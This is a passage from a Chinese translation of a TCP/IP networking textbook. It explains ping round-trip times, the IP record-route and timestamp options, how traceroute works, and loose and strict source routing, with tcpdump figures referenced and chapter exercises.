（见原书p.90的①）

注意，第一个RTT不是10 ms的整数倍，但是其它行都是10 ms的整数倍。如果我们运行该程序若干次，发现每次结果都是这样。（这并不是由sun主机上的时钟分辨率造成的结果，因为根据附录B中的测试结果可以知道它的时钟能提供毫秒级的分辨率。）
另外还要注意，第一个RTT要比其他的大，而且依次递减，然后徘徊在280至300 ms之间。我们让它运行一分钟到两分钟，RTT一直处于这个范围，不会低于260 ms。如果我们以9600 b/s的速率计算RTT（习题7.2），那么我们观察到的值应该大约是估计值的1.5倍。
如果运行ping程序60秒钟并计算观察到的RTT的平均值，我们发现在V.42和V.42bis模式下平均值为277 ms。（这要比上个例子打印出来的平均值要好，因为运行时间较长，这样就把开始较长的时间平摊了。）如果我们关闭V.42bis数据压缩方式，平均值为330 ms。如果我们关闭V.42错误控制方式（它同时也关闭了V.42bis数据压缩方式），平均值为300 ms。这些调制解调器的参数对RTT的影响很大，使用错误控制和数据压缩方式似乎效果最好。

7.3 IP记录路由选项
ping程序为我们提供了查看IP记录路由（RR）选项的机会。大多数不同版本的ping程序都提供-R参数，以提供记录路由的功能。它使得ping程序在发送出去的IP数据报中设置IP RR选项（该IP数据报包含ICMP回显请求报文）。这样，每个处理该数据报的路由器都把它的IP地址放入选项字段中。当数据报到达目的端时，IP地址清单应该复制到ICMP回显回答中，这样返回途中所经过的路由器地址也被加入清单中。当ping程序收到回显回答时，它就打印出这份IP地址清单。
这个过程听起来简单，但存在一些缺陷。源端主机生成RR选项，中间路由器对RR选项的处理，以及把ICMP回显请求中的RR清单复制到ICMP回显回答中，所有这些都是选项功能。幸运的是，现在的大多数系统都支持这些选项功能，只是有一些系统不把ICMP请求中的IP清单复制到ICMP回答中。
但是，最大的问题是IP首部中只有有限的空间来存放IP地址。我们从图3.1可以看到，IP首部中的首部长度字段只有4 bit，因此整个IP首部最长只能包括15个32 bit长的字（即60个字节）。由于IP首部固定长度为20字节，RR选项用去3个字节（下面我们再讨论），这样只剩下37个字节（60 - 20 - 3）来存放IP地址清单，也就是说只能存放9个IP地址。对于早期的ARPANET来说，9个IP地址似乎是很多了，但是现在看来是非常有限的。（在第8章中，我们将用Traceroute工具来确定数据报的路由。）除了这些缺点，记录路由选项工作得很好，为详细查看如何处理IP选项提供了一个机会。
IP数据报中的RR选项的一般格式如图7.3所示。

图7.3 IP首部中的记录路由选项的一般格式

code是一个字节，指明IP选项的类型。对于RR选项来说，它的值为7。len是RR选项总字节长度，在这种情况下为39。（尽管可以为RR选项设置比最大长度小的长度，但是ping程序总是提供39字节的选项字段，最多可以记录9个IP地址。由于IP首部中留给选项的空间有限，它一般情况都设置成最大长度。）
ptr称作指针字段。它是一个基于1的指针，指向存放下一个IP地址的位置。它的最小值为4，指向存放第一个IP地址的位置。随着每个IP地址存入清单，ptr的值分别为8，12，16，最大到36。当记录下9个IP地址后，ptr的值为40，表示清单已满。
当路由器（根据定义应该是多穴的）在清单中记录IP地址时，它应该记录哪个地址呢？是入口地址还是出口地址？为此，RFC 791 [Postel 1981a]指定路由器记录出口IP地址。我们在后面将看到，当原始主机（运行ping程序的主机）收到带有RR选项的ICMP回显回答时，它也要把它的入口IP地址放入清单中。

正常的例子
我们举一个用RR选项运行ping程序的例子。我们在主机svr4上运行ping程序到主机slip。一个中间路由器(bsdi)将处理这个数据报。下面是svr4的输出结果：

（见原书p.92的①）

分组所经过的四站如图7.4所示（每个方向各有两站），每一站都把自己的IP地址加入RR清单。

图7.4 带有记录路由选项的ping程序

路由器bsdi在不同方向上分别加入了不同的IP地址。它始终是把出口的IP地址加入清单。我们还可以看到，当ICMP回显回答到达原始系统（svr4）时，它把自己的入口IP地址也加入清单中。
我们还可以通过运行带有-v参数的tcpdump命令来查看主机sun上进行的分组交换（参见IP选项）。输出如图7.5所示。

图7.5 记录路由选项的tcpdump输出

输出中optlen=40表示在IP首部中有40个字节的选项空间。（IP首部长度必须为4字节的整数倍。）RR{39}的意思是记录路由选项已被设置，它的长度字段是39。然后是9个IP地址，符号“#”用来标记RR选项中的ptr字段所指向的IP地址。由于我们是在主机sun上观察这些分组（参见图7.4），因此我们所能看到ICMP回显请求中的IP地址清单是空的，而ICMP回显回答中有3个IP地址。我们省略了tcpdump输出中的其它行，因为它们与图7.5基本一致。
位于路由信息末尾的标记EOL表示IP选项“end of list”（清单结束）的值。EOL选项的值可以为0。这时表示39个字节的RR数据位于IP首部中的40字节空间中。由于在数据报发送之前空间选项被设置为0，因此跟在39个字节的RR数据之后的0字符就被解释为EOL。这正是我们所希望的结果。如果在IP首部中的选项字段中有多个选项，在开始下个选项之前必须填入空白字符，另外还可以用另一个值为1的特殊字符NOP（“no operation”）。

（下面是原书p.93①的译文）
在图7.5中，SVR4把回显请求中的TTL字段设为32，BSD/386设为255。（它打印出的值为254是因为路由器bsdi已经将其减去1。）新的系统都把ICMP报文中的TTL设为最大值（255）。
在作者使用的三个TCP/IP系统中，BSD/386和SVR4都支持记录路由选项。这就是说，当转发数据报时，它们都能正确地更新RR清单，而且能正确地把接收到的ICMP回显请求中的RR清单复制到出口ICMP回显回答中。虽然SunOS 4.1.3在转发一个数据报时能正确更新RR清单，但是不能复制RR清单。Solaris 2.x对这个问题已作了修改。

异常的输出
下面的例子是作者观察到的，我们把它作为第9章讨论ICMP间接报文的起点。我们在子网140.252.1子网上ping主机aix（在主机sun上通过拔号SLIP连接可以访问），并带有记录路由选项。在slip主机上运行有如下输出结果：

（见原书p.94的①）

我们已经在主机bsdi上运行过这个例子。现在我们选择slip来运行它，观察RR清单中所有的9个IP地址。
在输出中令人感到疑惑的是，为什么传出的数据报（ICMP回显请求）直接从netb传到aix，而返回的数据报（ICMP回显回答）却从aix开始经路由器gateway再到netb？这里看到的正是下面我们将要描述的IP路由选择的一个特点。数据报经过的路由如图7.6所示。

图7.6 运行带有记录路由选项的ping程序，显示IP路由选择的特点

问题是aix不知道要把目的地为子网140.252.13的IP数据报发到主机netb上。相反，aix在它的路由表中有一个默认项，它指明当没有明确某个目的主机的路由时，就把所有的数据报发往默认项指定的路由器gateway。路由器gateway比子网140.252.1上的任何主机都具备更强的路由选择能力。（在这个以太网上有超过150台主机，每台主机的路由表中都有一个默认项指向路由器gateway，这样就不用在每台主机上都运行一个路由选择守护程序。）
这里没有回答的一个问题是为什么gateway不直接发送ICMP报文改变路由到aix（9.5节），以更新它的路由表？由于某种原因（很可能是由于数据报产生的改变路由是一份ICMP回显请求报文），改变路由并没有产生。但是如果我们用Telnet登录到aix上的daytime服务器，ICMP就会产生改变路由，因而它在aix上的路由表也随之更新。如果我们接着执行ping程序并带有记录路由选项，其路由显示表明数据报从netb到aix，然后返回netb，而不再经过路由器gateway。在9.5节中我们将更详细地讨论ICMP改变路由的问题。

7.4 IP时间戳选项
IP时间戳选项与记录路由选项类似。IP时间戳选项的格式如图7.7所示（请与图7.3进行比较）。

图7.7 IP首部中时间戳选项的一般格式

时间戳选项的代码为0x44。其它两个字段len和ptr与记录路由选项相同：选项的总长度（一般为36或40）和指向下一可用空间的指针（5，9，13，等）。
接下来的两个字段是4 bit的值：OF表示溢出字段，FL表示标志字段。时间戳选项的操作根据标志字段来进行，如图7.8所示。

（下面是图7.8的译文）
标志
描述
0
只记录时间戳，正如我们在图7.7看到的那样。
1
每台路由器都记录它的IP地址和时间戳。在选项列表中只有存放四对地址和时间戳的空间。
3
发送端对选项列表进行初始化，存放了4个IP地址和四个取值为0的时间戳值。只有当列表中的下一个IP地址与当前路由器地址相匹配时，才记录它的时间戳。
图7.8 时间戳选项不同标志字段值的意义

如果路由器由于没有空间而不能增加时间戳选项，那么它将增加溢出字段的值。
时间戳的取值一般为自午夜开始计的毫秒数，UTC，与ICMP时间戳请求和回答相类似。如果路由器不使用这种格式，它就可以插入任何它使用的时间表示格式，但是必须打开时间戳中的高位以表明为非标准值。
与我们遇到的记录路由选项所受到的限制相比，时间戳选项遇到情况要更坏一些。如果我们要同时记录IP地址和时间戳（标志位为1），那么就可以同时存入其中的四对值。只记录时间戳是没有用处的，因为我们没有标明时间戳与路由器之间的对应关系（除非我们有一个永远不变的拓扑结构）。标志值取3会更好一些，因为我们可以插入时间戳的路由器。一个更为基本的问题是，你很可能无法控制任何给定路由器上时间戳的正确性。这使得试图用IP选项来计算路由器之间的跳站数是徒劳的。我们将看到（第8章）traceroute程序可以提供一种更好的方法来计算路由器之间的跳数。

7.5 小结
ping程序是对两个TCP/IP系统连通性进行测试的基本工具。它只利用ICMP回显请求和回显回答报文，而不用经过传输层（TCP/UDP）。Ping服务器一般在内核中实现ICMP的功能。
我们分析了在LAN，WAN以及SLIP链路（拔号和线路）上运行ping程序的输出结果，并对串行线路上的SLIP链路吞吐量进行了计算。我们还讨论并使用了ping程序的IP记录路由选项。利用该IP选项，我们可以看到它是如何经常使用默认路由的。在第9章我们将再次回到这个讨论主题。另外，我们还讨论了IP 时间戳选项，但它在实际使用时有所限制。

习题
7.1 请画出7.2节中ping输出的时间线。
7.2 若把bsdi和slip主机之间的SLIP链路设置为9600 b/s，请计算这时的RTT。假定默认的数据是56字节。
7.3 当前BSD版中的ping程序允许我们为ICMP报文的数据部分指定一种模式。（数据部分的前8个字节不用来存放模式，因为它要存放发送报文的时间。）如果我们指定的模式为0xc0，请重新计算上一题中的答案。（提示：阅读2.4节。）
7.4 使用压缩SLIP（CSLIP，见2.5节）是否会影响我们在7.2节中看到的ping输出中的时间值？
7.5 在图2.4中，ping环回地址与ping主机以太网地址会出现什么不同？

7－7
8 Traceroute程序

8.1 引言
由Van Jacobson编写的Traceroute程序是一个能更深入探索TCP/IP协议的方便可用的工具。尽管不能保证从源端发往目的端的两份连续的IP数据报具有相同的路由，但是大多数情况下是这样的。Traceroute程序可以让我们看到IP数据报从一台主机传到另一台主机所经过的路由。Traceroute程序还可以让我们使用IP源路由选项。

（下面是原书p.97①的译文）
使用手册上说：“程序由Steve Deering提议，由Van Jacobson实现，并由许多其他人根据C. Philip Wood, Tim Seaver 及Ken Adelman等人提出的令人信服的建议或补充意见进行调试。”

8.2 Traceroute程序的操作
在7.3节中，我们描述了IP记录路由选项（RR）。为什么不使用这个选项而另外开发一个新的应用程序？有三个方面的原因。首先，原先并不是所有的路由器都支持记录路由选项，因此该选项在某些路径上不能使用。（Traceroute程序不需要中间路由器具备任何特殊的或可选的功能。）
其次，记录路由一般是单向的选项。发送端设置了该选项，那么接收端不得不从收到的IP首部中提取出所有的信息然后全部返回给发送端。在7.3节中，我们看到大多数Ping服务器的实现（内核中的ICMP回显回答功能）把接收到的RR清单返回，但是这样使得记录下来的IP地址翻了一番（一来一回），这样会受到一些限制，这一点我们在下一段讨论。（Traceroute程序只需要目的端运行一个UDP模块----其他不需要任何特殊的服务器应用程序。）
最后一个原因也是最主要的原因是，IP首部中留给选项的空间有限，不能存放当前大多数的路径。在IP首部选项字段中最多只能存放9个IP地址。在原先的ARPANET中这是足够的，但是对现在来说是远远不够的。
Traceroute程序使用ICMP报文和IP首部中的TTL字段。TTL字段（生存周期）是由发送端初始设置一个8 bit字段。推荐的初始值由分配数字RFC指定，当前值为64。较老版本的系统经常初始化为15或32。我们从第7章中的一些ping程序例子中可以看出，发送ICMP回显回答时经常把TTL设为最大值255。
每个处理数据报的路由器都需要把TTL的值减1或减去数据报在路由器中停留的秒数。由于大多数的路由器转发数据报的时延都小于1秒钟，因此TTL最终成为一个跳站的计数器，所经过的每个路由器都将其值减1。

（下面是原书p.98①的译文）
RFC 1009 [Braden and Postel 1987]指出，如果路由器转发数据报的时延超过1秒，那么它将把TTL值减去所消耗的时间（秒数）。但很少有路由器这么实现。新的路由器需求文档RFC [Almquist 1993]为此指定它为可选择功能，允许把TTL看成一个跳站计数器。

TTL字段的目的是防止数据报在路由选择时无休止地在网络中流动。例如，当路由器瘫痪或者两个路由器之间的连接丢失时，路由选择协议有时会去检测丢失的路由并一直进行下去。在这段时间内，数据报可能在循环回路被终止。TTL字段就是在这些循环传递的数据报上加上一个生存上限。
当路由器收到一份IP数据报，如果其TTL字段是0或1，则路由器不转发该数据报。（接收到这种数据报的目的主机可以将它交给应用程序，这是因为不需要转发该数据报。但是在通常情况下，系统不应该接收TTL字段为0的数据报。）相反地，路由器将该数据报丢弃并给信源机发一份ICMP“超时”信息。Traceroute程序的关键在于包含这份ICMP信息的IP报文的信源地址是该路由器的IP地址。
我们现在可以猜想一下Traceroute程序的操作过程。它发送一份TTL字段为1的IP数据报给目的主机。处理这份数据报的第一个路由器将TTL值减1，丢弃该数据报，并发回一份超时ICMP报文。这样就得到了该路径中的第一个路由器的地址。然后Traceroute程序发送一份TTL值为2的数据报，这样我们就可以得到第二个路由器的地址。继续这个过程直至该数据报到达目的主机。但是目的主机哪怕接收到TTL值为1的IP数据报，也不会丢弃该数据报并产生一份超时ICMP报文，这是因为数据报已经到达其最终目的地。那么我们该如何判断已经到达目的主机了呢？
Traceroute程序发送一份UDP数据报给目的主机，但它选择一个不可能的值作为UDP端口号（大于30,000），使目的主机的任何一个应用程序都不可能使用该端口。因为，当该数据报到达时，将使目的主机的UDP模块产生一份“端口不可到达”错误（见6.5节）的ICMP报文。这样，Traceroute程序所要做的就是区分接收到的ICMP信息是超时还是端口不可到达，以判断什么时候结束。

（下面是原书p.99①的译文）
Traceroute程序必须可以为发送的数据报设置TTL字段。并非所有与TCP/IP接口的程序都支持这项功能，同时并非所有的实现都支持这项能力，但目前大部分系统都支持这项功能，并可以运行Traceroute程序。这个程序界面通常要求用户具有超级用户权限，这意味着它可能需要特殊的权限以在你的主机上运行该程序。

8.3 局域网输出
我们现在已经做好运行Traceroute程序并观察其输出的准备了。我们将使用从svr4到slip，经路由器bsdi的简单互连网（见内封面）。 bsdi和slip之间是9600 b/s的SLIP链路。

（见原书p.99的②）

输出的第一个无标号行给出了目的主机名和其IP地址，指出traceroute程序最大的TTL字段值为30。40字节的数据报包含20字节IP首部，8字节的UDP首部和12字节的用户数据。（12字节的用户数据包含每发一个数据报就加1的序号，送出TTL的副本以及发送数据报的时间。）
输出的后面两行以TTL开始，接下来是主机或路由器名，以及其IP地址。对于每个TTL值，发送3份数据报。每接收到一份ICMP报文，就计算并打印出往返时间。如果在5秒种内仍未收到3份数据报的任意一份的响应，则打印一个星号，并发送下一份数据报。在上述输出结果中，TTL字段为1的前三份数据报的ICMP报文分别在20，10和10 ms收到。TTL字段为2的3份数据报的ICMP报文则在120 ms后收到。由于TTL字段为2到达最终目的主机，因此程序就此停止。
往返时间是由发送主机的traceroute程序计算的。它是指从traceroute程序到该路由器的总往返时间。如果我们对每段路径的时间感兴趣，可以用TTL字段为N+1所打印出来的时间减去TTL字段为N的时间。
图8.1给出了tcpdump的运行输出结果。正如我们所预想的那样，第一个发往bsdi的探测数据报的往返时间是20 ms而后面两个数据报往返时间是10 ms的原因是发生了一次ARP交换。tcpdump结果证实了确实是这种情况。
目的主机UDP端口号最开始设置为33435，且每发送一个数据报加1。可以通过命令行选项来改变开始的端口号。UDP数据报包含12个字节的用户数据，我们在前面traceroute程序输出的40字节数据报中已经对其进行了描述。
后面tcpdump打印出了TTL字段为1的IP数据报的注释[ttl 1]。当TTL值为0或1时，tcpdump打印出这条信息，以提示我们数据报中有些不太寻常之处。在这里我们可以预见到TTL值为1，而在其它一些应用程序中，它可以警告我们数据报可能无法到达其最终目的主机。我们不可能看到路由器传送一个TTL值为0的数据报，除非发出该数据报的该路由器已经崩溃。

图8.1 从svr4到slip的traceroute程序示例的tcpdump输出结果

因为bsdi路由器将TTL值减到0，因此我们预计它将发回“传送超时”的ICMP报文。即使这份被丢弃的IP报文发送往slip，路由器也会发回ICMP报文。
有两种不同的ICMP“超时”报文（见p.71页的图6.3），它们的ICMP报文中code字段不同。图8.2给出了这种ICMP错误报文的格式。

图8.2 ICMP超时报文

我们所讨论的ICMP报文是在TTL值等于0时产生的，其code字段为0。
主机在组装分片时可能发生超时，这时，它将发送一份“组装报文超时”的ICMP报文。（我们将在11.5节讨论分片和组装。）这种错误报文将code字段置1。
图8.1的第9-14行对应于TTL为2的3份数据报。这3份报文到达最终目的主机，并产生一份ICMP端口不可到达报文。
计算出SLIP链路的往返时间是很有意义的，就象我们在7.2节中所举的Ping例子，将链路值设置为1200 b/s一样。发送出动的UDP数据报共42个字节，包括12字节的数据，8字节UDP首部，20字节的IP首部以及（至少）2字节的SLIP帧（2.4节）。但是与Ping不一样的是，返回的数据报大小是变化的。从图6.9可以看出，返回的ICMP报文包含发生差错的数据报的IP首部以及紧随该IP首部的8字节数据（在traceroute程序中，即UDP首部）。这样，总共就是20 + 8 + 20 + 8 + 2，即58字节。在数据速率为960 B/s的情况下，预计的RTT就是（42 + 58/960），即104 ms。这个值与svr4上所估算出来的110 ms是吻合的。
图8.1中的源端口号（42804）看起来有些大。traceroute程序将其发送的UDP数据报的源端口号设置为Unix进程号与32768之间的逻辑或值。对于在同一台主机上多次运行traceroute程序的情况，每个进程都查看ICMP返回的UDP首部的源端口号，并且只处理那些对自己发送回答的报文。
关于traceroute程序还有一些必须指出的事项。首先，并不能保证现在的路由也是将来所要采用的路由，甚至两份连续的IP数据报都可能采用不同的路由。如果在运行程序时，路由发生改变，你就会观察到这种变化，这是因为对于一个给定的TTL，如果其路由发生变化，traceroute程序将打印出新的IP地址。
第二，不能保证ICMP报文的路由与traceroute程序发送的UDP数据报采用同一路由。这表明所打印出来的往返时间可能并不能真正体现数据报发出和返回的时间差。（如果UDP数据报从信源到路由器的时间是1秒，而ICMP报文用另一条路由返回信源用了3秒时间，则打印出来的往返时间是4秒。）
第三，返回的ICMP报文中的信源IP地址是UDP数据报到达的路由器接口的IP地址。这与IP记录路由选项（7.3节）不同，记录的IP地址指的是发送接口地址。由于每个定义的路由器都有2个或更多的接口，因此，从A主机到B主机上运行traceroute程序和从B主机到A主机上运行traceroute程序所得到的结果可能是不同的。事实上，如果我们从slip主机到svr4上运行traceroute程序，其输出结果变成了：

（见原书p.101的①）

这次打印出来的bsdi主机的IP地址是140.252.13.66，对应于SLIP接口，而上次的地址是140.252.13.35，是以太网接口地址。由于traceroute程序同时也打印出与IP地址相关的主机名，因而主机名也可能变化。（在我们的例子中，bsdi上的两个接口都采用相同的名字。）
考虑图8.3的情况。它给出了两个局域网通过一个路由器相连的情况。两个路由器通过一个点对点的链路相连。如果我们在左边LAN的一个主机上运行traceroute程序，那么它将发现路由器的IP地址为if1和if3。但在另一种情况下，就会发现打印出来的IP地址为if4和if2。if2和if3有着同样的网络号，而另两个接口则有着不同的网络号。

图8.3 traceroute程序打印出的接口标识

最后，在广域网情况下，如果traceroute程序的输出是可读的域名形式，而不是IP地址形式，那么会更好理解一些。但是由于traceroute程序接收到ICMP报文时，它所获得的唯一信息就是IP地址，因此，在给定IP地址的情况下，它做一个“反向域名查看”工作来获得域名。这就需要路由器或主机的管理员正确配置其反向域名查看功能（并非所有的情况下都是如此）。我们将在14.5节描述如何使用DNS将一个IP地址转换成域名。

8.4 广域网输出
我们前面所给出的小互连网的输出例子对于查看协议运行过程来说是足够了，但对于像全球互连网这样的大互连网来说，应用traceroute程序就需要一些更为实际的东西。
图8.4是从sun主机到NIC (Network Information Center)的情况。

图8.4 从sun主机到nic.ddn.mil的traceroute程序

由于运行的这个例子包含文本，非DDN站点（如，非军方站点）的NIC已经从nic.ddn.mil转移到rs.internic.net，即新的“InterNIC"。
一旦数据报离开tuc.noao.edu网，它们就进入了telcom.arizona.edu网络。然后这些数据报进入NASA Science Internet，nsn.nasa.gov。TTL字段为6和7的路由器位于JPL (Jet Propulsion Laboratory)上。TTL字段为11所输出的sura.net网络位于Southeastern Universities Research Association Network上。TTL字段为12的域名GSI是Government sys tems, Inc., NIC的运营者。
TTL字段为6的第二个RTT（590）几乎是其它两个RTT值（234和262）的两倍 。它表明IP路由的动态变化。在发送主机和这个路由器之间发生了使该数据报速度变慢的事件。同样，我们不能区分是发出的数据报还是返回的ICMP差错报文被拦截。
TTL字段为3的第一个RTT探测值（204）比TTL字段为2的第一个探测值（233）值还小。由于每个打印出来的RTT值是从发送主机到路由器的总时间，因此这种情况是可能发生的。
图8.5的例子是从sun主机到作者出版商之间的运行例子。

图8.5 从sun.tuc.noao.edu主机到aw.com的traceroute程序

在这个例子中，数据报离开telcom.arizona.edu网络后就进行了地区性的网络westnet.net (TTL字段值为6和7)。然后进行了由Advanced Network & Services运营的NSFNET主干网，t3.ans.net，（T3是对于主干网采用的45 Mb/s电话线的一般缩写。）最后的网络是alter.net，即aw.com与互连网的连接点。

8.5 IP源站选路选项
通常IP路由是动态的，即每个路由器都要判断数据报下面该转发到哪个路由器。应用程序对此不进行控制，而且通常也并不关心路由。它采用类似traceroute程序的工具来发现实际的路由。
源站选路(source routing)的思想是由发送者指定路由。它可以采用以下两种形式：
&#8226;严格的源路由选择。发送端指定IP数据报所必须采用的确切路由。如果一个路由器发现源路由所指定的下一路由器不在其直接连接的网络上，那么它就返回一个“源站路由失败”的ICMP差错报文。
宽松的源站选路。发送端指定一个数据报经过的IP地址清单，但是数据报在清单上指定的任意两个地址之间可以通过其它路由器。
Traceroute程序为我们提供了一个查看源站选路的方法，我们可以在选项中指明源站路由，然后检查其运行情况。

（原书p.104①的译文）
一些公开的Traceroute程序源代码包中包含指明宽松的源站选路的补丁。但是在标准版中通常并不包含此项。这些补丁的解释是“Van Jacobson的原始Traceroute程序（1988年春）支持该特性，但他后来因为有人提出会使网关崩溃而将此功能去除。”对于本章中所给出的例子，作者将这些补丁安装上，并将它们设置成允许宽松的源站选路和严格的源站选路。

图8.6给出了源站路由选项的格式。

图8.6 IP首部源站路由选项的通用格式

这个格式与我们在图7.3中所示的记录路由选项格式基本一致。但不同之处是，对于源站选路，我们必须在发送IP数据报前填充IP地址清单，而对于记录路由选项，我们需要为IP地址清单分配并清空一些空间，并让路由器填充该清单中的各项。同时，对于源站选路，我们只要为所需要的IP地址数分配空间并进行初始化，通常其数量小于9。而对于记录路由选项来说，我们必须尽可能地分配空间，以达到9个地址。
对于宽松的源站选路来说，code字段的值是0x83，而对于严格的源站选路，其值为0x89。len和ptr字段与我们在7.3节中所描述的一样。
源站路由选项的实际称呼为“源站及记录路由”（对于宽松的源站选路和严格的源站选路，分别用LSRR和SSRR表示），这是因为在数据报沿路由发送过程中，对IP地址清单进行更新。下面是其运行过程：
&#8226;发送主机从应用程序接收源站路由清单，将第一个项去掉（它是数据报的最终目的地址），将剩余的项移到一个项中（如图8.6所示），并将原来的目的地址作为清单的最后一项。指针仍然指向清单的第一项（即，指针的值为4）。
&#8226;每个处理数据报的路由器检查其是否为数据报的最终地址。如果不是的话，则正常转发数据报。（在这种情况下，必须指明宽松源站选路，否则我们就不能接收到该数据报。）
&#8226;如果该路由器是最终目的，且指针不大于路径的长度，那么（1）由ptr所指定的清单中的下一个地址就是数据报的最终目的地址，（2）由出接口(outgoing interface)相对应的IP地址取代刚才使用的源地址，然后，（3）指针加4。
可以用下面这个例子很好地解释上述过程。在图8.7中，我们假设主机S上的发送应用程序发送一份数据报给D，指定源路由为R1，R2和R3。

图8.7 IP源路由示例

在上图中，#表示指针字段，其值分别是4，8，12和16。长度字段恒为15（三个IP地址加上三个字节首部）。可以看出，每一跳IP数据报中的目的地址都发生改变。
当一个应用程序接收到由信源指定路由的数据时，在发送回答时，应该读出接收路由值，并提供反向路由。

（下面是原书p.105①的译文）
Host Requirements RFC指明，TCP客户必须能指明源站路由选择，同时，TCP服务器必须能够接收源站路由选择，并且对于该TCP连接的所有报文段都能采用反向路由。如果TCP服务器下面接收到一个不同的源站路由选择，那么新的源站路由将取代旧的源站路由。

宽松的源站选路的traceroute程序示例
使用traceroute程序的 -g 选项，我们可以为宽松的源站选路指明一些中间结点。采用该选项可以最多指定8个中间路由。（其个数是8而不是9的原因是，所使用的编程接口要求最后的表目是目的主机。）
在图8.4中，去往NIC，nic.ddn.mil的路由经过NASA Science Internet。在图8.8中，我们通过指定路由器 enss142.UT.westnet.net (192.31.39.21) 作为中间路由器来强制数据报通过NSFNET：

图8.8 采用宽松源站选路通过NSFNET到达nic.ddn.mil的traceroute程序

在这种情况下，看起来路径中共有16跳，其平均RTT大约是350 ms，而图8.4的通常路由选择则只有13跳，其平均RTT约为322 ms。默认路径看起来更好一些。（在建立路径时，还需要考虑其它的一些因素。其中一些必须考虑的因素是所包含网络的组织及政治因素。）
前面我们说看起来有16跳，这是因为将其输出结果与我们前面的通过NSFNET（图8.5）的示例比较，发现在本例采用宽松源路由，选择了3个路由器。（这可能是因为路由器对源站选路数据报产生ICMP超时差错报文上存在一些差错。）在netb和butch路由器之间的gateway.tuc.noao.edu路由器丢失了，同时，位于Gabby和enss142.UT.west.net之间的Westgate.Telcom.Arizona.edu和uu-ua.AZ.westnet.net两个路由器也丢失了。在这些丢失的路由器上可能发生了与接收到宽松的源站选路选项数据报有关的程序问题。实际上，当采用NSFNET时，信源和NIC之间的路径有19跳。本章习题8.5继续对这些丢失路由器进行讨论。
本例同时也指出了另一个问题。在命令行，我们必须指定路由器enss142.UT.westnet.net的点分十进制IP地址，而不能以其域名代替。这是因为，反向域名解析（14.5节中描述的通过IP地址返回域名）将域名与IP地址相关联，但是前向解析（即给出域名返回IP地址）则无法做到。在DNS（Domain Name sys tem，域名系统）中，前向映射和反向映射是两个独立的文件，而并非所有的管理者都同时拥有这两个文件。因此，在一个方向是工作正常而另一个方向失败的情况并不少见。
还有一种我们以前没有碰到过的情况是在TTL字段为8的情况下，对于第一个RTT，打印一个星号（*）。这表明，发生超时，在5秒内未收到本次探查的回答信号。
将本图与图8.4相比较，我们还可以得出一个结论，即路由器ns-FIX-pe.sura.net同时与NSFNET和NASA Science Internet相连。

严格的源站选路的traceroute程序示例
在作者的traceroute程序版本中，-G参数与前面所描述的-g参数是完全一样的，不过此时是严格的源站选路而不是宽松的源站选路。我们可以采用这个参数来观察在指明无效的严格的源站选路时其结果会是什么样的。从图8.5可以看出来，从作者的子网发往NSFNET的数据报的正常路由器顺序是netb，gateway，butch和gabby。（为了便于查看，我们后面所有的输出结果中，省略了域名后缀 .tuc.noao.edu和 .telcom.arizona.edu。）我们指定了一个严格源路由，使其试图将数据报从gateway直接发送到gabby，而省略了butch。我们可以猜测到其结果会是失败的，正如图8.9所给出的结果。

图8.9 采用严格源路由失败的traceroute程序

这里的关键是在于TTL字段为3的输出行中，RTT后面的!S。这表明traceroute程序接收到ICMP“源站路由失败”的差错报文：即图6.3中type字段为3，而code字段为5。TTL字段为3的第二个RTT位置的星号表示未收到这次探查的回答信号。这与我们所猜想的一样， gateway不可能直接发送数据报给gabby，这是因为它们之间没有直接的连接。
TTL字段为2和3的结果都来自于gateway，对于TTL字段为2的回答来自gateway是因为gateway接收到TTL字段为1的数据报。在它查看到（无效的）严格的源站选路之前，就发现TTL已过期，因此发送回ICMP超时报文。TTL字段等于3的行，在进入gateway时其TTL字段为2，因此，它查看严格的源站选路，发现它是无效的，因此发送回ICMP源站选路失败的差错报文。
图8.10给出了与本例相对应的tcpdump输出结果。该输出结果是在sun和netb之间的SLIP链路上惧到的。我们必须在tcpdump中指定-v选项以显示出源站路由信息。这样，会输出一些像数据报ID这样的我们不需要的结果，我们在给出结果中将这些不需要的结果删除掉。同样，我们用SSRR表示“严格的源站及记录路由”。

图8.10 失败的严格的源站选路traceroute程序的tcpdump输出结果

首先注意到，sun所发送的每个UDP数据报的目的地址都是netb，而不是目的主机(westgate)。这一点可以用图8.7的例子来解释。类似的，-G参数所指定的另外两个路由器（gateway和gabby）以及最终目的(westgate)成为第一跳的SSRR选项。
从这个输出结果中，我们还可以看出，traceroute程序所采用的定时时间（第15行和16行之间的时间差）是5秒。

宽松的源站选路traceroute程序的往返路由
我们在前面已经说过，从A到B的路径并不一定与从B到A的路径完全一样。除非同时在两个系统中登录并在每个终端上运行traceroute程序，否则很难发现两条路径是否不同。但是，采用宽松的源站选路，我们就可以决定两个方向上的路径。
这里的窍门就在于指定一个宽松的源站路由，该路由的目的端和宽松路径一样，但发送端为目的主机。例如，在sun主机上，我们可以查看到发往以及来自bruno.cs.colorado.edu的结果如图8.11所示。

图8.11 显示非对称路径的traceroute程序

发出路径（TTL字段为1-11）的结果与返回路径（TTL字段为11-21）不同，这很好地说明了在Internet 上，路由选择可能是不对称的。
该输出同时还说明了我们在图8.3中所讨论的问题。比较TTL字段为2和19的输出结果：它们都是路由器gateway.tuc.noao.edu，但两个IP地址却是不同的。由于traceroute程序以进入接口作为其标识，而我们从两条不同的方向经过该路由器，一条是发出路径（TTL字段为2），另一条是返回路径（TTL字段为19），因此我们可以猜想到这个结果。通过比较TTL字段为3和18，4和17的结果，我们可以看到同样的结果。

8.6 小结
在一个TCP/IP网络中，traceroute程序是不可缺少的工具。其操作很简单：开始时发送一个TTL字段为1的UDP数据报，然后将TTL字段每次加1，以确定路径中的每个路由器。每个路由器在丢弃UDP数据报时都返回一个ICMP超时报文2，而最终目的主机则产生一个ICMP端口不可到达的报文。
我们给出了在LAN和WAN上运行traceroute程序的例子，并用它来考察IP源站选路。我们用宽松的源站选路来检测发往目的主机的路由是否与从目的主机返回的路由一样。

习题：
8.1 当IP将接收到的TTL字段减1，发现它为0时，将会发生什么结果？
8.2 traceroute程序是如何计算RTT的？将这种计算RTT的方法与ping相比较。
8.3 （本习题与下一道习题是基于开发traceroute程序过程中遇到的实际问题，它们来自于traceroute程序源代码注释。）假设有源主机和目的主机之间有三个路由器（R1，R2和R3），而中间的路由器（R2）在进入TTL字段为1时，将TTL字段减1，但却错误地将该IP数据报发往下一个路由器。请描述会发生什么结果。在运行traceroute程序是你会看到什么样的现象？
8.4 同样，假设源主机和目的主机之间有三个路由器。由于目的主机上存在错误，因此，它总是将进入TTL值作为外出ICMP报文的TTL值。请描述这将发生什么结果，你会看到什么现象。
